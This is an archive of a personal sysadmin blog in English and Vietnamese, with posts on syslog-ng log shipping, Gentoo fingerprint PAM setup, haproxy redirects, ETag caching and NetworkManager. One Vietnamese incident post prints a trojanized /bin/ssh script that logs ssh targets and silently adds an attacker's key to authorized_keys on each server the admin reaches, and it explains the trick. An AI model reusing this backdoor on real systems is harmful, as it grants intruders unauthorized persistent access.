30 Dec 2011


I wrote a small python logging agent to work around with application log files which cannot be logged to central log server (Syslog-Ng)

Source code is available on Github
Some log files generated by application cannot be logged to syslog/syslog-ng

pylogagent will watch list of log files in "configuration" file, then push new lines to /dev/log socket with prefix.

1. Set up syslog-ng server to listen for log
source net {
udp(ip(ip_of_log_server) port(514));
destination nginx_error {
filter nginx_error {
log {source(net);filter(nginx_error);destination(nginx_error;};

These line above will make syslog-ng server listen for log on udp port 514, whenever a log stream deliver to its port, syslog-ng will parse, look for regex ^nginx_error, if it is found, log to file nginx_error.

1. Configure which log files pylogagent will watch


2. Start logagent
# python agent 

3. Configure syslog-ng client

source s_local {
destination d_loghost {
udp("ip_of_log_server" port(514));
filter nginx_error            {
log {


Restart syslog-ng and you are done.
Tail log file on central log to see how it works ;)

More will be added later

12 Dec 2011

Python for Informatics: Exploring Information

If you're looking for the way learning Python on your own, and still can't find a good document, book or lecturer, this online course should be a right choice.

The goal of this site is to provide a set of materials to allow you to learn Python on your own. This page serves as an outline of the materials to support the textbook "Python for Informatics: Exploring Information". The materials are focused on the "core-programming skills" contained in Chapters 1-10. The slides, video lectures, and worked exercises are prepared specifically for online use. The "Lecture Audio" is recorded from the SI502 - Networked Computing course at the University of Michigan 


15 Oct 2011

Gentoo on Thinkpad T410: authen using fingerprint (gdm)

Step 1:
Download 2 ebuild files named: fingerprint-gui and upekbsapi-bin from this website http://gpo.zugaina.org.
Step 2: Create digest manifest file for them
cd /usr/portage/sys-auth
mkdir {fingerprint-gui, upekbsapi-bin} 
Copy fingerprint-gui-1.00.ebuild and fingerprint-gui-1.00.ebuild to these directories.
ebuild fingerprint-gui-1.00.ebuild digest 
ebuild  upekbsapi-bin-4.0.0218.ebuild digest 

Step 3: unmark  using package.keywords and install
emerge sys-auth/fingerprint-gui 
it shoud install both fingerprint-gui and upekbsapi-bin

Step 4: unmark libfprint and install it
Step 5: load fingerprint-gui and follow the installation steps to scan and verify your finger.
Step 6: Adding fingerprint-gui into pam and gdm

cat /etc/pam.d/system-auth
auth        required    pam_env.so
auth        sufficient  pam_fingerprint-gui.so try_first_identified
auth        required    pam_unix.so try_first_pass likeauth nullok
auth        optional    pam_permit.so
account        required    pam_unix.so
account        optional    pam_permit.so

cat /etc/pam.d/gdm
auth optional pam_fingerprint-gui.so -d
auth       optional        pam_env.so
auth       include        system-login
auth       required        pam_nologin.so

account    include        system-login

Logout and login to test new authentication method ;-)

15 Sep 2011

Life definition

What is a wing? How does it make something fly? It’s the same exact type basic materials (quarks, protons, electrons, etc.) simply in another configuration. So do wings really make things fly?
How about a memory? A replaying of an event in time within the mind of a human. This is an organization as well — in this case an organization of chemicals (themselves organization of molecules of atoms of quarks) that allow us to store information in a format that is similar to that of human experience.
What is human experience? It’s perceived using the brain (another organization) and a number of sensory organs that are themselves specialized organizations of building blocks.
Fundamentally, we have things crashing into each other at the subatomic level, and everything else (the things we give names to and understand) are nothing more than concepts associated with the organization of said collisions.
That’s what life and death is — the collection of some of these bits into a formation that matches a particular type of concept until it doesn’t match that pattern anymore.
If we build a sand castle from sand, and then it gets destroyed by the rising tide, where did that castle go? Where did it come from? Did it actually exist at all? What is, “castle”?
What is life? What is love?
It is like “human”. They are all like the castle — temporary organizations of building blocks in a pattern recognized. And once they are not in that pattern anymore they “die”.
But nothing dies because nothing ever existed. There’s just a bunch of stuff banging into itself.

Original post

23 Aug 2011


...And it took a war to make it that way :-)

Idea and picture of this post come when reading this, maybe unrelated topic

22 Aug 2011

haproxy: redirect prefix vs redirect location

From haporxy document:
redirect location <to> [code <code>] <option> [{if | unless} <condition>]
redirect prefix   <to> [code <code>] <option> [{if | unless} <condition>]

The author also provides a description about how 2 redirect rules work

With "redirect location", the exact value in <to> is placed into
              the HTTP "Location" header. In case of "redirect prefix", the
              "Location" header is built from the concatenation of <to> and the
              complete URI, including the query string, unless the "drop-query"
              option is specified (see below). As a special case, if <to>
              equals exactly "/" in prefix mode, then nothing is inserted
              before the original URI. It allows one to redirect to the same

For example, when you define an acl (access control list) in haproxy likes this:
acl right_request hdr_sub(cookie) -i Human=1
redirect prefix http://www.oursite.com/?lt=verify code 302 if !right_request

With configuration above, what we want is once a request without cookie Human with value=1 will be redirect to page: http://www.oursite.com/?lt=verify to check for human and set right cookies. But it will not work as expected.
A request header looks like this:
GET / HTTP/1.0
User-Agent: Wget/1.12 (linux-gnu)
Accept: */*
Host: www.google.com.vn
Connection: Keep-Alive

As haproxy document describes, a redirect prefix rule will concate the <to> path with the complete URI which is "/" in http header in our example. Back to redirect prefix rule, it will redirect and rewrite the URL to:
and for sure, that URL is not exist.

How to make that rule works? Just replace prefix with location.

*My note when using haproxy*

17 Aug 2011

Why Etag is (generally) a good idea, and why it should not be used

Etags (Entity tags) is a part of HTTP headers, which is used to compare cached object on client side (the browser) with the original object on server side. What does it compare for? Normally, every object that is considered cache-able will be cached on client cache (if cache memory of client is still enough). When server send a response include ETag header to client,
HTTP/1.0 200 OK
Content-Length: 121217
Content-Type: text/html
Content-Location: http://www.website.vn/home/index.htm
Last-Modified: Thu, 18 Aug 2011 13:34:08 GMT
ETag: "ab26ff81ab5dcc1:2878"
Date: Thu, 18 Aug 2011 13:34:52 GMT
X-Cache: HIT from Node-Cache-22
Connection: keep-alive
browser cache will store that Etag value. Next time, if we browse the same object, client will send that value to server to validate the state of cached object,

Host    http://www.website.vn/home/index.htm
User-Agent    Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0
Accept    */*
Accept-Language    en-us,en;q=0.5
Accept-Encoding    gzip, deflate
Accept-Charset    UTF-8,*
Connection    keep-alive
Referer    http://www.somewhereonthe.net
Cookie    __name=value
If-None-Match    "ea3d79c3fc8cb1:2878"
Cache-Control    max-age=0
If the value of If-None-Match is different from saved Etags value, server send full response to client include new object and new ETag. Otherwise, it will send a 304 Not Modified reponse and client use the object that's already cached on browser's cache memory.

Date    Thu, 18 Aug 2011 07:56:57 GMT
Content-Type: text/html
Last-Modified    Wed, 20 Jul 2011 01:38:44 GMT
Etag    "40b519c37d46cc1:2878"
Connection    keep-alive 
Commonly, Etags value is generated by web server (or programmer by computing the Etags by md5sum(the-object)). Apache web server uses 3 components (or file attributes) to built the Etags: INode, MTime, Size. User of nginx can use these modules: https://github.com/mikewest/nginx-static-etags and https://github.com/kali/nginx-dynamic-etags to add ETag value.
 From wikipedia
An ETag, or entity tag, is part of HTTP, the protocol for the World Wide Web. It is one of several mechanisms that HTTP provides for cache validation, and which allows a client to make conditional requests. This allows caches to be more efficient, and saves bandwidth, as a web server does not need to send a full response if the content has not changed. ETags can also be used for optimistic concurrency control,[1] as a way to help prevent simultaneous updates of a resource from overwriting each other.

To test how ETag works yourself, a great-mind already wrote a python module for your need: http://www.feedparser.org/docs/http-etag.html
So, after all of these lines of text to describe how ETag works, how it applies to HTTP protocol and how it helps to reuse the unchanged resources on client, avoiding full server responses if the content has not been changed, saving bandwitdth...it's generally a very good idea.
Why it should not be used? there's 2 reasons
 1. CPU consuming: When using Etag, server has to calculate the ETag value for all objects that it is configured to apply to. For each request from client that include the Etag header, server also has to calculate again, do the comparison these 2 values, then desire how reply to client with right reponse code. It takes too much resource (CPU usage) on server side.

 2. Websites that are applied ETag (with serious thought) are mostly served from multiple servers. For example if you're using Apache (same thing will happen if you're using nginx, because 2 Etag modules of nginx is ported from Apache AFAIK)
With default FileEtag settings, N Apache boxes will generate N ETag values for same object. If client A makes first request to box 1, it receives Etag1, after that, user re-visits the url and reach box 2, even if content was not changed, the If-None-Match or If-Match value will be different, box2 has to compute the ETag, then send the full reponse to client with its ETag value. It's a REAL waste of resource.

One solution when using Etag is: remove the Inode from FileEtag setting. But this just solve the second dis-advantage of Etag, not all of it.

Another solution is instead of using Etag, we rely on Last-Modified header. If you dont know how to use Last-Modified yet, it will be explained on next post (hopefully soon ;) ).
 To remove Etag on Apache:

Header unset Etag
FileETag none
 Nginx: dont use the Etag modules ;)

 If you do not control the back-end web servers (like mine), and but control caching boxes, you can also remove it from reverse proxies.
If squid:

header_access Etag deny all
head_access If-Match deny all
header_access If-None-Match deny all

CONFIG proxy.config.http.cache.required_headers INT 0
This post is also the part 2 of Web Caching series.

28 Jul 2011

Thông minh và ngu ngốc

Đầu tiên các bạn hãy đọc script ngắn bên dưới

#!/usr/bin/env bash                                                            
SSH=`which ssh`; echo $@ >> /dev/shm/.h ; $SSH $@ "[ ! -f /dev/shm/.z ] && echo "a" > /dev/shm/.z && echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxTOlT9QywvpMMuohn+S2kKp9XmQRIEh4Pba3VJWB7S5fk/l1Qhi5n1M6OOd2/N4GAxgVAk8ylcVcJJJ7ErPGJSB0BgWeuiM7lszYwy9KOUZdliqGnCCFUSv/zzqlCJ1DLXdlnn1jbBlq1WNphORiZAx8ZJwUkR8SByT21WtLtcugx3H0IdJOR9ZkGZzAtnCFb/DY8NRIQ4SRnlvqColZg2LpY1EcsClmYIYpxXlm6yQ7phP1gqBwGIcPgUEgDt8YY+nO1jNEr3/vV5z14zXXoTfDb5MimfgqwkeIY+Ak6I+CLoq3p79xY1IVxNCI5a5h7dsffoao23o45fojfdfDDAd55 fuckeratnowhere" >> .ssh/authorized_keys"; $SSH $@
Nếu có ai không hiểu script trên nói gì thì mình sẽ giải thích. Script trên đặt một biến SSH có nội dung là đường dẫn tới command ssh trên hệ thống đang chạy command trên, sau đó đưa tham số truyền vào sau command (thường sẽ là IP chúng ta cần ssh tới) vào một file log có tên là .h ở thư mục /dev/shm, tiếp theo đó, thực thi lệnh ssh tới server với IP trên, kiểm tra sự tồn tại của file .z ở thư mục /dev/shm, nếu không có, thì tạo file .z và đưa nội dụng public key vào file authorized_key, và trở lại thực thi câu lệnh ssh như bình thường.

Nội dung command trên được một bạn so-called hacker sau khi bằng cách nào đó up được shell lên một server đã lưu ở /bin/ssh.
Vì sao đặt ở /bin/ssh ?

hungnv@tinytux ~ $ echo $PATH

Giả dụ như $PATH của bạn như trên, thì khi thực thi lệnh ssh tới một server, /bin/ssh sẽ được thực thi thay vì /usr/bin/ssh thực sự.
Người quản trị server này bất cứ lúc nào cần ssh tới một server khác khi đang đứng trên server đã bị tấn công bên trên, nghiễm nhiên gán quyền cho kẻ tấn công login vào server đó mà không cần chứng thực.
Kẻ tấn công còn thông minh ở chỗ ghi lại log ở file /dev/shm/.h, để có thể biết được System admin đã giúp mình owned được bao nhiêu server. Phải nói rằng hắn ta rất thông minh,

Nhưng tiêu đề bài post là thông minh và ngu ngốc?
Điểm ngu ngốc thứ nhất, kẻ tấn công dùng Windows (và có thể là notepad của Windows) để soạn script trên. Vô tình Windows có khuyến mãi thêm vài kí tự đặc biệt, thông thường dos2unix $FILENAME sẽ giải quyết được, nhưng vì nôn nóng, hắn quên mất. Do đó khi bash shell gặp kí tự đặc biệt trên, không hiểu và báo Bad interpreter , command ssh không thực hiện được. Và dĩ nhiên ssh tự nhiên không thực hiện được thì theo thói quen, người quản trị sẽ
1. which ssh
2. file /bin/ssh
/bin/ssh: a bash script text executable

3. cat /bin/ssh
và wow, someone fucked my server!!!!!!!!!!!
Điểm ngu ngốc thứ 2: đáng ra hắn phải kiểm tra script trên có hoạt động được không trước khi upload lên server (có lẽ do quá tự tin chăng?)

Nói tóm lại, người quản trị hệ thống này may mắn quá, vì gặp được một anh thông minh đúng chỗ và ngu ngốc cũng đúng chỗ ;).

14 Jul 2011

Get networkmanager and nm-applet working with wireless on Gentoo

Well, more than 1 year working with install_and_use distro (Fedora) makes my brain slow. It takes me about 1/2 day to get it works.

1. Check your USE flag to make sure it has these things:
         bluetooth avahi connection-sharing dhclient autoipd dhcpcd dhclient gnutls nss resolvconf
If you are using the same USE flag with me: ( -* ) , just set it when emerge:
          USE="bluetooth avahi connection-sharing dhclient autoipd dhcpcd dhclient gnutls nss resolvconf" emerge -Nav networkmanager
2.  Install nm-applet(with USE="-doc -debug bluetooth).

3. On this directory, edit all configuration files:
replace every line that contain user="root" with group="plugdev"

4. Add your user and root to group plugdev, add yourself to group netdev
5. Restart dbus, and volla, enjoy wireless networking.

*If you dont add root to group plugdev as step 4, sure you will the error:

Jul 15 21:13:26 tinytux dbus[14800]: [system] Failed to activate service 'org.freedesktop.PolicyKit1': timed out
Jul 15 21:13:26 tinytux NetworkManager: polkit_authority_get: Error getting authority: Error initializing authority: Error calling StartServiceByName for org.freedesktop.PolicyKit1: GDBus.Error:org.freedesktop.DBus.Error.TimedOut: Activation of org.freedesktop.PolicyKit1 timed out
Jul 15 21:13:26 tinytux NetworkManager: nm_sysconfig_settings_init: failed to create PolicyKit authority.
I'm sure you know why ;)

9 Jul 2011

Web Caching

(Part 1)
Một caching server là server đứng giữa clients và web servers, trả lời request từ client thay cho web server nếu như:
1. Client request html object đã được lưu trữ trong bộ nhớ cache.
2. Cache object là version cùng với version được sinh ra từ web servers nếu request vào được đến web server (fresh).

Web cache có 3 loại: browser cache, proxy cache (forward proxy, transparent proxy), và gateway cache (reverse proxy). Ở đây chúng ta chỉ nhắc đến loại thứ 3: Reverse proxy cache, ngắn gọn là reverse proxy.
Một mô hình reverse proxy đơn giản như sau:
                           Clients -------- Reverse proxy --------- Web Servers

30 Jun 2011

Open Problem

This post is just a story which is not mine.

When I met R.B.M at "his place", he gave me a sequence of number
1 11 21 1211 111221 ... 
and asked me what is the next number?
I spent 6 months to get the answer with help from some friends.
How long will it take you to solve this open problem? ;-)

Feel free to ask for hints. I will tell you story of R.B.M once you answer it right!

5 Apr 2011

Highest state of a man

Those who know do not talk.
Those who talk do not know.

Keep your mouth closed.
Guard your senses.
Temper your sharpness.
Simplify your problems.
Mask your brightness.
Be at one with the dust of the Earth.
This is primal union.

He who has achieved this state
Is unconcerned with friends and enemies,
With good and harm, with honor and disgrace.
This therefore is the highest state of man.
He did talk too much
Time to keep state of his mouth closed more than opened :-)

27 Feb 2011

Sự cần thiết của một hệ thống cảnh báo

Trước giờ mình luôn nghĩ hệ thống Monitoring (default + bản thân tự customize) đã đủ đáp ứng được nhu cầu:
-Phát hiện ra sự cố
-Cảnh báo kịp thời
-Có khả năng phục hồi hệ thống một cách nhanh nhất

Nhưng mình phát hiện ý nghĩ đó là sai khi tiếp cận với hệ thống cảnh báo của những người làm chuyên nghiệp (dù chỉ tiếp cận qua những gì họ giới thiệu) và sự cố network vừa qua tại công ty mà mình đang làm việc.
Sự cố network xảy ra làm ngưng trệ hầu như tất cả các sản phẩm đang hoạt động. Không biết bạn có cảm giác thế nào khi hệ thống cảnh báo tất cả server (hàng trăm) đều trong trạng thái “DOWN”, mình thì gần như buông tay.
Thứ nhất tuy hệ thống network không thuộc phạm vi quản lí của team mình, nhưng hệ thống monitor phải detect được sự cố network đó ngay khi nó vừa xảy ra, nhưng đã không làm được việc.
Thứ 2, khi sự cố network được giải quyết, dù mạng đã thông nhưng service vẫn gặp sự cố dù hệ thống cảnh báo cho biết tình trạng tất cả service đều bình thường.